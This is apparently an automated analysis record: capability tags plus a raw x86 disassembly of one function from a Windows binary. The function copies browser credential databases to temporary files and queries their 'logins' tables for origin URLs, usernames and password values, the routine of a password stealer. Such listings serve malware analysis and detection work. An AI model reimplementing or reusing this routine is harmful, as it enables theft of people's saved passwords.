Function at 0x1000c4a8
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
mov dword [ebp - 0x30], ebx
call fcn.1000f76b
mov edi, 0x10014684
lea ecx, [ebp - 8]
push edi
call fcn.1000346a
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.100034a7
push eax
lea ecx, [ebp - 8]
call fcn.10003335
mov ecx, dword [ebp - 0x2c]
call fcn.10005ea5
mov esi, str..tmp
lea ecx, [ebp - 8]
push esi
call fcn.1000346a
push 0x1a
pop edx
lea ecx, [ebp - 0x10]
call fcn.1000f76b
push edi
lea ecx, [ebp - 0x10]
call fcn.1000346a
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.100034a7
push eax
lea ecx, [ebp - 0x10]
call fcn.10003335
mov ecx, dword [ebp - 0x2c]
call fcn.10005ea5
push esi
lea ecx, [ebp - 0x10]
call fcn.1000346a
cmp byte [ebp + 0x10], 0
lea ecx, [ebp - 0x2c]
je 0x1000c547
push 0x1a
jmp 0x1000c549
push 0x1c
pop edx
call fcn.1000f76b
push eax
lea ecx, [ebp - 0x14]
call fcn.10003437
mov ecx, dword [ebp - 0x2c]
call fcn.10005ea5
push dword [ebp + 8]
lea ecx, [ebp - 0x14]
call fcn.1000346a
cmp byte [ebp + 0x10], 0
lea ecx, [ebp + 0x10]
je 0x1000c578
push 0x1a
jmp 0x1000c57a
push 0x1c
pop edx
call fcn.1000f76b
push eax
lea ecx, [ebp - 0x18]
call fcn.10003437
mov ecx, dword [ebp + 0x10]
call fcn.10005ea5
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.1000346a
push dword [ebp - 0x14]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
je 0x1000c628
push esi
call edi
test eax, eax
je 0x1000c628
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push dword [ebp - 8]
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x1000c628
push 0
push dword [ebp - 0x10]
push esi
call edi
test eax, eax
je 0x1000c628
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.10003437
lea eax, [ebp + 0x10]
push eax
lea ecx, [ebp - 0x14]
call fcn.10003554
lea ecx, [ebp - 0x34]
push ecx
push dword [eax]
call dword [ebx + 0x30]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x10]
mov edi, eax
call fcn.10005ea5
test edi, edi
je 0x1000c652
push ecx
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.1000362d
call fcn.1000ff0b
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.1000362d
call fcn.1000ff0b
pop ecx
xor edi, edi
mov ecx, dword [ebp - 0x10]
call fcn.10005ea5
mov ecx, dword [ebp - 8]
call fcn.10005ea5
mov ecx, esi
call fcn.10005ea5
mov ecx, dword [ebp - 0x14]
call fcn.10005ea5
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
and dword [ebp - 0x1c], 0
lea eax, [ebp + 0xc]
and dword [ebp + 0xc], 0
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
push ecx
mov ecx, esi
call fcn.1000ced9
xor edi, edi
add esp, 0x10
inc edi
test eax, eax
je 0x1000c8b2
cmp byte [ebp + 0x14], 0
lea eax, [ebp - 0xc]
push 0
push eax
mov ecx, str.select_signon_realm__origin_url__username_value__password_value_from_wow_logins
mov eax, str.select_signon_realm__origin_url__username_value__password_value_from_logins
push 0xffffffffffffffff
cmovne eax, ecx
push eax
push dword [ebp - 0x34]
call dword [ebx + 0x38]
add esp, 0x14
test eax, eax
jne 0x1000c8b2
push dword [ebp - 0xc]
call dword [ebx + 0x44]
pop ecx
cmp eax, 0x64
jne 0x1000c8aa
mov esi, ebx
mov ecx, edi
call fcn.10005e22
mov ecx, edi
mov dword [ebp + 0x14], eax
call fcn.10005e22
xor ebx, ebx
mov edi, eax
inc ebx
mov dword [ebp + 8], edi
mov ecx, ebx
call fcn.10005e22
mov ecx, ebx
mov dword [ebp - 0x2c], eax
call fcn.10005e22
push 0
push dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x1000c70f
push eax
lea ecx, [ebp - 0x38]
call fcn.100033bf
push eax
lea ecx, [ebp + 8]
call fcn.10003125
mov ecx, dword [ebp - 0x38]
call fcn.10005ea5
mov edi, dword [ebp + 8]
push ebx
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x1000c737
push eax
lea ecx, [ebp - 0x3c]
call fcn.100033bf
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003125
mov ecx, dword [ebp - 0x3c]
call fcn.10005ea5
push 2
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x1000c760
push eax
lea ecx, [ebp - 0x40]
call fcn.100033bf
push eax
lea ecx, [ebp + 0x10]
call fcn.10003125
mov ecx, dword [ebp - 0x40]
call fcn.10005ea5
sub esp, 0xc
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
push 3
push dword [ebp - 0xc]
call dword [esi + 0x5c]
push 3
push dword [ebp - 0xc]
mov ebx, eax
call dword [esi + 0x54]
add esp, 0x10
mov edx, ebx
mov ecx, eax
call fcn.1000cf58
add esp, 0x14
lea ecx, [ebp - 0x44]
push eax
call fcn.100033bf
push eax
lea ecx, [ebp + 0x14]
call fcn.10003125
mov ecx, dword [ebp - 0x44]
call fcn.10005ea5
lea ecx, [ebp + 0x10]
call fcn.1000308c
test eax, eax
jg 0x1000c7c0
lea ecx, [ebp + 0x14]
call fcn.1000308c
test eax, eax
jle 0x1000c872
xor ebx, ebx
lea ecx, [ebp + 8]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
call fcn.1000308c
test eax, eax
jle 0x1000c7f7
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.1000309d
push eax
lea ecx, [ebp - 0x54]
call fcn.10003437
mov ecx, dword [ebp - 0x20]
call fcn.10005ea5
mov dword [ebp - 0x20], ebx
lea ecx, [ebp + 0x10]
call fcn.1000308c
test eax, eax
jle 0x1000c823
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0x10]
call fcn.1000309d
push eax
lea ecx, [ebp - 0x50]
call fcn.10003437
mov ecx, dword [ebp - 0x24]
call fcn.10005ea5
mov dword [ebp - 0x24], ebx
lea ecx, [ebp + 0x14]
call fcn.1000308c
test eax, eax
je 0x1000c84f
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp + 0x14]
call fcn.1000309d
push eax
lea ecx, [ebp - 0x4c]
call fcn.10003437
mov ecx, dword [ebp - 0x28]
call fcn.10005ea5
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp + 0x18]
sub esp, 0x10
mov dword [ebp - 0x48], eax
mov ecx, esp
lea eax, [ebp - 0x54]
push eax
call fcn.10001f95
mov ecx, esi
call fcn.10001fcb
lea ecx, [ebp - 0x54]
call fcn.100013ef
mov ecx, dword [ebp + 0x10]
call fcn.10005ea5
mov ecx, dword [ebp - 0x2c]
call fcn.10005ea5
mov ecx, edi
call fcn.10005ea5
mov ecx, dword [ebp + 0x14]
call fcn.10005ea5
push dword [ebp - 0xc]
call dword [esi + 0x44]
pop ecx
push 1
pop edi
cmp eax, 0x64
je 0x1000c6b6
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x30]
test eax, eax
jne 0x1000c606
push dword [ebp - 0xc]
call dword [ebx + 0x60]
pop ecx
push dword [ebp - 0x34]
call dword [ebx + 0x34]
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.1000362d
call fcn.1000ff0b
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.1000362d
call fcn.1000ff0b
pop ecx
jmp 0x1000c62a